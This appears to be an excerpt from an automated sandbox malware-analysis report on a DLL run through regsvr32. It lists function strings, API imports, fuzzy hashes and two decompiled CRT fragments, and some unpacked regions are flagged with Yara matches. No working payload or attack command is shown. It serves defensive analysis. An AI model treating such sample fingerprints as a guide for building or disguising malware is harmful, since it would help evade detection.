_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25558
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25620
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D254E2
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D2579F
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 000007FEF9D257E9
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25683

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid_free_base
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ
API String ID: 1656799702-182684663
Opcode ID: 708cd418722caba3a196df14d36aa04cdda5776576cdf5b3aec82fe9c7f2493c
Instruction ID: 30c4da0a101ad128366c20b2541b857d1a248eb6f856515bedc9f5e1dcd2840f
Opcode Fuzzy Hash: 708cd418722caba3a196df14d36aa04cdda5776576cdf5b3aec82fe9c7f2493c
Instruction Fuzzy Hash: 58C16E36A18B4586EBA48B59E88076EB7E0F785790F614536EACD43BB4DB7ED401CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25CAD Relevance: 17.8, Strings: 14, Instructions: 322COMMON

Download Yara Rule

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
_heapchk fails with _HEAPBADNODE., xrefs: 000007FEF9D25D19
DAMAGED, xrefs: 000007FEF9D25E7D
_heapchk fails with _HEAPBADEND., xrefs: 000007FEF9D25D4D
_heapchk fails with unknown return value!, xrefs: 000007FEF9D25DAF
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
_1, xrefs: 000007FEF9D261FC
_heapchk fails with _HEAPBADBEGIN., xrefs: 000007FEF9D25CE5
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D26030
_heapchk fails with _HEAPBADPTR., xrefs: 000007FEF9D25D7E
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed., xrefs: 000007FEF9D260FA
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25F42

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$DAMAGED$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).$_heapchk fails with _HEAPBADBEGIN.$_heapchk fails with _HEAPBADEND.$_heapchk fails with _HEAPBADNODE.$_heapchk fails with _HEAPBADPTR.$_heapchk fails with unknown return value!$_1
API String ID: 0-510578482
Opcode ID: 15b327a6fa8e12693a207a0a7b33494fdffa5f56c7c2417c86fde08a07b35573
Instruction ID: 2e3929c610d79aeb9f6375ea398ef70322b77c1420209f8d6f9956d4446a531d
Opcode Fuzzy Hash: 15b327a6fa8e12693a207a0a7b33494fdffa5f56c7c2417c86fde08a07b35573
Instruction Fuzzy Hash: A6E13F36A18B5586EBA4CB69E88072EB7E0F384754F614526EACD43BB4DB7ED051CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FFC0 Relevance: 15.0, Strings: 11, Instructions: 1219COMMON

Download Yara Rule

Strings

Jq-., xrefs: 00000001800107C4
:B), xrefs: 0000000180011CBB
Y], xrefs: 0000000180010F2D
kJ, xrefs: 0000000180011662
sg, xrefs: 0000000180010713
#r5|, xrefs: 0000000180011B12
K, xrefs: 00000001800117C0
E, xrefs: 0000000180010000
K, xrefs: 0000000180010D55
:F&, xrefs: 0000000180010676
kJ, xrefs: 00000001800100F8

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E$#r5|$:B)$:F&$Jq-.$K$K$Y]$kJ$kJ$sg
API String ID: 0-2241473280
Opcode ID: cddb9e216d5522f206da78d8fc0cd1a272e9a6010eb05564972df6001c09f508
Instruction ID: 9c682bca3309bc02ed949a6de7aa3bb6d22b0761abc13177b84899e0b503d48e
Opcode Fuzzy Hash: cddb9e216d5522f206da78d8fc0cd1a272e9a6010eb05564972df6001c09f508
Instruction Fuzzy Hash: 73E2E4715047CC8BDBB9DFA4C8897DD3BA1FB44344F10861AEC4EAE250DBB45A89CB61

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23280 Relevance: 12.1, APIs: 8, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D23280(void* __eax, signed int __ecx, signed int __edx, signed int __rcx, signed int __rdx, void* __r8) {
				void* _t7;
				void* _t10;
				signed long long _t15;
				signed long long* _t16;
				signed long long _t20;
				signed long long _t24;

				_t7 = __rcx -  *0xf9d4b018; // 0x6ed741fe4081
				if (_t7 != 0) goto 0xf9d2329a;
				asm("dec eax");
				if ((__ecx & 0x0000ffff) != 0) goto 0xf9d23296;
				asm("repe ret");
				asm("dec eax");
				goto 0xf9d23720;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("o16 nop [eax+eax]");
				if (__r8 - 8 < 0) goto 0xf9d2330c;
				_t20 = __rdx * 0x1010101;
				_t10 = __r8 - 0x40;
				if (_t10 < 0) goto 0xf9d232ee;
				_t15 =  ~__rcx;
				if (_t10 == 0) goto 0xf9d232de;
				 *__rcx = _t20;
				_t16 = _t15 + __rcx;
				if (_t10 != 0) goto 0xf9d23327;
				_t24 = __r8 - _t15 & 7;
				if (_t10 == 0) goto 0xf9d2330c;
				 *_t16 = _t20;
				if (_t10 != 0) goto 0xf9d23300;
				if (_t24 == 0) goto 0xf9d2331b;
				_t16[1] = __edx & 0x000000ff;
				if (_t24 - 1 != 0) goto 0xf9d23311;
				return __eax;
			}

0x7fef9d23280
0x7fef9d23287
0x7fef9d23289
0x7fef9d23292
0x7fef9d23294
0x7fef9d23296
0x7fef9d2329a
0x7fef9d2329f
0x7fef9d232a0
0x7fef9d232a1
0x7fef9d232a2
0x7fef9d232a3
0x7fef9d232a4
0x7fef9d232a5
0x7fef9d232a6
0x7fef9d232b7
0x7fef9d232c6
0x7fef9d232ca
0x7fef9d232ce
0x7fef9d232d0
0x7fef9d232d6
0x7fef9d232db
0x7fef9d232de
0x7fef9d232ec
0x7fef9d232f1
0x7fef9d232f9
0x7fef9d23300
0x7fef9d2330a
0x7fef9d2330f
0x7fef9d23311
0x7fef9d23319
0x7fef9d2331b

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D23733
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D23752
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2379E
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D23810
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23828
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23835
GetCurrentProcess.KERNEL32 ref: 000007FEF9D2384E
TerminateProcess.KERNEL32 ref: 000007FEF9D2385C

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: c7ac20398f1e0bfcda68d30e042a710a2d00de73d3b00f2192fd5d70b0bf2831
Instruction ID: 807cfb07a33e429e3d371e20a7d7f9b872ed56a9d2d7ce20ec260cf370a1508c
Opcode Fuzzy Hash: c7ac20398f1e0bfcda68d30e042a710a2d00de73d3b00f2192fd5d70b0bf2831
Instruction Fuzzy Hash: 9B31B435908B4685EAA09B69FD443AEB3E0F784794F608026DACD43775DF7EE0588B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2443C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Client hook allocation failure at file %hs line %d., xrefs: 000007FEF9D2452F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2446A
Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D245C6
Client hook allocation failure., xrefs: 000007FEF9D24554
_CrtCheckMemory(), xrefs: 000007FEF9D24455

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2480363372-3680694803
Opcode ID: 5582fb477a99f139482b647e65eadd7bcea0024aa5ad3136cc4be02f6e7bf908
Instruction ID: 8b5a52ed6c75746639c18038ef7af0115634e61e6ce836c346e70c61fc8f1b15
Opcode Fuzzy Hash: 5582fb477a99f139482b647e65eadd7bcea0024aa5ad3136cc4be02f6e7bf908
Instruction Fuzzy Hash: 58510931A096828AE7F48B68EC4576E73E4F395354F618135DADD83BB4EB3EE4448B01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A758 Relevance: 9.3, Strings: 7, Instructions: 594COMMON

Download Yara Rule

Strings

Fa, xrefs: 000000018000A9DA
#X, xrefs: 000000018000AD41
vQ, xrefs: 000000018000AE4D
Mum, xrefs: 000000018000AFAE
, xrefs: 000000018000A787
A2>, xrefs: 000000018000B065
=D, xrefs: 000000018000AA8F

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$ $A2>$Mum$vQ$=D$Fa
API String ID: 0-1298193321
Opcode ID: 982ab4627d106152f76a325de243923c319ce5c47f351cfe718817436c28ee1d
Instruction ID: 1349cc56659c19f01a369150ff0067e3f34eaebe01bc07430d2f97da03610ed5
Opcode Fuzzy Hash: 982ab4627d106152f76a325de243923c319ce5c47f351cfe718817436c28ee1d
Instruction Fuzzy Hash: 24522775A0620CDFCB68DFA8D08A6DDBBF2EF58344F104119F816A7261D7B0D919CB89

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E4AC Relevance: 9.1, Strings: 7, Instructions: 371COMMON

Download Yara Rule

Strings

@4<, xrefs: 000000018001E879
xy, xrefs: 000000018001EA69
8%Y, xrefs: 000000018001E6CA
F+}, xrefs: 000000018001E7B6
._, xrefs: 000000018001E654
t, xrefs: 000000018001E945
R1, xrefs: 000000018001E7F4

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ._$8%Y$@4<$F+}$R1$t$xy
API String ID: 0-3078009748
Opcode ID: 7cd976f9c86f50bd1c1ca064b29a615496490d447d7d5288ee1f6aa5414266f6
Instruction ID: 0e1afbee3b71ea3b5863fe80692b11929ebce18e29255cef2241f67d7a77c22f
Opcode Fuzzy Hash: 7cd976f9c86f50bd1c1ca064b29a615496490d447d7d5288ee1f6aa5414266f6
Instruction Fuzzy Hash: 0402E1B1504649DFCB98DF28C489ADE3BE1FB48318F41812AFC4A9B764D770DA98CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BE50 Relevance: 9.1, APIs: 6, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 33%

			E000007FE7FEF9D2BE50(intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esp, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a24) {
				intOrPtr _v4;
				void* _v12;
				signed long long _v24;
				signed int _v36;
				long long _v180;
				long long _v184;
				intOrPtr _v192;
				char _v196;
				intOrPtr _v204;
				long _v212;
				long long _v220;
				long long _v228;
				long long _v1212;
				long long _v1308;
				char _v1460;
				char _v1476;
				char _v1484;
				int _v1492;
				long long _v1500;
				long long _v1508;
				long long _v1516;
				long long _v1524;
				long long _v1532;
				long long _v1540;
				void* _t51;
				signed long long _t80;
				long long _t85;
				void* _t100;

				_a24 = r8d;
				_a16 = __edx;
				_a8 = __ecx;
				_t80 =  *0xf9d4b018; // 0x6ed741fe4081
				_v24 = _t80 ^ _t100 - 0x00000610;
				if (_a8 == 0xffffffff) goto 0xf9d2be8d;
				E000007FE7FEF9D28D90(_t51, _a8);
				_v184 = 0;
				memset(__edi, 0, 0x94 << 0);
				_v1508 =  &_v196;
				_v1500 =  &_v1460;
				_v1492 = 0;
				_v212 = 0;
				__imp__RtlCaptureContext();
				_t85 = _v1212;
				_v220 = _t85;
				r8d = 0;
				0xf9d40e28();
				_v228 = _t85;
				if (_v228 == 0) goto 0xf9d2bf64;
				_v1516 = 0;
				_v1524 =  &_v1476;
				_v1532 =  &_v1484;
				_v1540 =  &_v1460;
				0xf9d40e22();
				goto 0xf9d2bf84;
				_v1212 = _v12;
				_v1308 =  &_v12;
				_v196 = _a4;
				_v192 = _a12;
				_v180 = _v12;
				_v1492 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(??);
				_v212 = UnhandledExceptionFilter(??);
				if (_v212 != 0) goto 0xf9d2bffb;
				if (_v1492 != 0) goto 0xf9d2bffb;
				if (_v4 == 0xffffffff) goto 0xf9d2bffb;
				return E000007FE7FEF9D23280(E000007FE7FEF9D28D90(_t59, _v4), _v4, __edx, _v36 ^ _t100 - 0x00000610, _v204, _v220);
			}

0x7fef9d2be50
0x7fef9d2be55
0x7fef9d2be59
0x7fef9d2be65
0x7fef9d2be6f
0x7fef9d2be7f
0x7fef9d2be88
0x7fef9d2be8d
0x7fef9d2beaa
0x7fef9d2beb4
0x7fef9d2bebe
0x7fef9d2bec3
0x7fef9d2becb
0x7fef9d2bedb
0x7fef9d2bee1
0x7fef9d2bee9
0x7fef9d2bef1
0x7fef9d2bf04
0x7fef9d2bf09
0x7fef9d2bf1a
0x7fef9d2bf1c
0x7fef9d2bf2a
0x7fef9d2bf34
0x7fef9d2bf3e
0x7fef9d2bf5d
0x7fef9d2bf62
0x7fef9d2bf6c
0x7fef9d2bf7c
0x7fef9d2bf8b
0x7fef9d2bf99
0x7fef9d2bfa8
0x7fef9d2bfb6
0x7fef9d2bfbc
0x7fef9d2bfcd
0x7fef9d2bfdc
0x7fef9d2bfe3
0x7fef9d2bfed
0x7fef9d2c013

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D2BEDB
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2BF04
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2BF5D
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D2BFB0
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFBC
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFC7

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction ID: ff33e713b9b9862e94e2d2fd4ae4d55f0027255630586c455cca821aadc81769
Opcode Fuzzy Hash: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction Fuzzy Hash: 7041BE32909BC58AE6B08B14F8443AFB3A1F388355F50522996CD42BA8EB7ED095CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B3A4 Relevance: 8.2, Strings: 6, Instructions: 685COMMON

Download Yara Rule

Strings

of?, xrefs: 000000018001BCC0
#X, xrefs: 000000018001BE03
uzxY, xrefs: 000000018001B986
=`, xrefs: 000000018001B4ED
M@, xrefs: 000000018001BD49
!Iv;, xrefs: 000000018001BDA7

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$!Iv;$=`$M@$of?$uzxY
API String ID: 0-1910763920
Opcode ID: 9693a8ffcd6589fd3dbfdbad085aa322119c3f1a6317bc180f44839f00dc24fe
Instruction ID: 7899ed511868268ad7aea3719dccceda62fd29fa6bb16e154aa46d1db7c43d79
Opcode Fuzzy Hash: 9693a8ffcd6589fd3dbfdbad085aa322119c3f1a6317bc180f44839f00dc24fe
Instruction Fuzzy Hash: F172047190478C8BDB58DF68C88A69E7FE1FB84384F20461DF95A9B260D770D989CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BC98 Relevance: 8.0, Strings: 6, Instructions: 487COMMON

Download Yara Rule

Strings

ef~j, xrefs: 000000018000C484
;*v(, xrefs: 000000018000C23C
;3, xrefs: 000000018000C590
F9p, xrefs: 000000018000C348
*I, xrefs: 000000018000C3C7
#X, xrefs: 000000018000BD53

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$*I$;*v($;3$F9p$ef~j
API String ID: 0-950528966
Opcode ID: 9500c32e6f155eacac3cfe5a03c267215382f5440a46099a8d521f2441a56deb
Instruction ID: 5057aee1002f2822c724537f3f36740fe0594223e2d956511feddf479ded4ebe
Opcode Fuzzy Hash: 9500c32e6f155eacac3cfe5a03c267215382f5440a46099a8d521f2441a56deb
Instruction Fuzzy Hash: 6A42E771144BCA8BCBB9CF24CC85BEF7BA0FB44306F145529D89A8A291DBB89745CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F554 Relevance: 7.9, Strings: 6, Instructions: 447COMMON

Download Yara Rule

Strings

M?@, xrefs: 000000018000FA5E
IX, xrefs: 000000018000FDD5
%, xrefs: 000000018000FCB8
M, xrefs: 000000018000FBC1
jS<, xrefs: 000000018000FD7B
9w, xrefs: 000000018000F9B1

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$9w$IX$M?@$jS<$M
API String ID: 0-1157581923
Opcode ID: 49f1c8efd4ee46ecb9d969e0aa9b812bfdd9bd3000ec2742c71bf52f4d967f5b
Instruction ID: e375d1c8451a89c96fc0dfbd01d6dda6b37f4c7765b0f9ce143112ad2eac9b8a
Opcode Fuzzy Hash: 49f1c8efd4ee46ecb9d969e0aa9b812bfdd9bd3000ec2742c71bf52f4d967f5b
Instruction Fuzzy Hash: 8A32E4B0A147888BCBB8CF68C8897DD7BF0FB48318F90521DEA0A9B251DB745645CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800053B0 Relevance: 7.8, Strings: 6, Instructions: 305COMMON

Download Yara Rule

Strings

&n, xrefs: 0000000180005658
j/, xrefs: 0000000180005758
%, xrefs: 00000001800054DC
X, xrefs: 00000001800058D8
1U, xrefs: 0000000180005931
Oh, xrefs: 00000001800058F7

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$&n$1U$Oh$j/$X
API String ID: 0-3716166881
Opcode ID: 3ec52770ba243505623e348b6c36d4d02d94aade20e82fe7112f5902b3326bac
Instruction ID: b98437ffb223a44b0e92d10549c73aaa59fdecde54cd589da16d290276777c9c
Opcode Fuzzy Hash: 3ec52770ba243505623e348b6c36d4d02d94aade20e82fe7112f5902b3326bac
Instruction Fuzzy Hash: D9F13C70508B88CFD7B9CF24D48969EBBF4FB84744F204A1EE5A59B260DBB09645CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028D10 Relevance: 7.7, Strings: 6, Instructions: 249COMMON

Download Yara Rule

Strings

J9, xrefs: 0000000180028D50
tiG, xrefs: 0000000180028D62
P;, xrefs: 0000000180028F1F
ozq~, xrefs: 0000000180028EC6
ss6, xrefs: 0000000180028DBD
G8L, xrefs: 0000000180028E0A

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G8L$J9$ozq~$ss6$tiG$P;
API String ID: 0-1765782432
Opcode ID: c77c4daeda8c59326f72f8188263c488bfcd846ed7a7bd487d849044a826f1d5
Instruction ID: 77e5b6b93cc6977e5a95292e040e55b4553736c218ba0195107264470a30d31c
Opcode Fuzzy Hash: c77c4daeda8c59326f72f8188263c488bfcd846ed7a7bd487d849044a826f1d5
Instruction Fuzzy Hash: FCC1097050064D8FDF89DF28C89A6DE3BA1FB68398F51421DFC4A962A1C778D994CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28900 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2893B
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2894B
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28963
GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2897B
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28998

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction ID: 08a22431f858d3c52821bee646358606f5e13fcd060269a72eebdbe744b14aa1
Opcode Fuzzy Hash: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction Fuzzy Hash: 7A21E62160AF0585DAB08B19FC5032E77E0E78DBA5F241235AADD83778EF3DD2948700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CF9C Relevance: 7.0, Strings: 5, Instructions: 751COMMON

Download Yara Rule

Strings

,bF, xrefs: 000000018001DB1D
jc, xrefs: 000000018001DDA5
Y, xrefs: 000000018001DB50
_, xrefs: 000000018001D9C0
-Ie:, xrefs: 000000018001DEBB

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,bF$-Ie:$Y$jc$_
API String ID: 0-2562869522
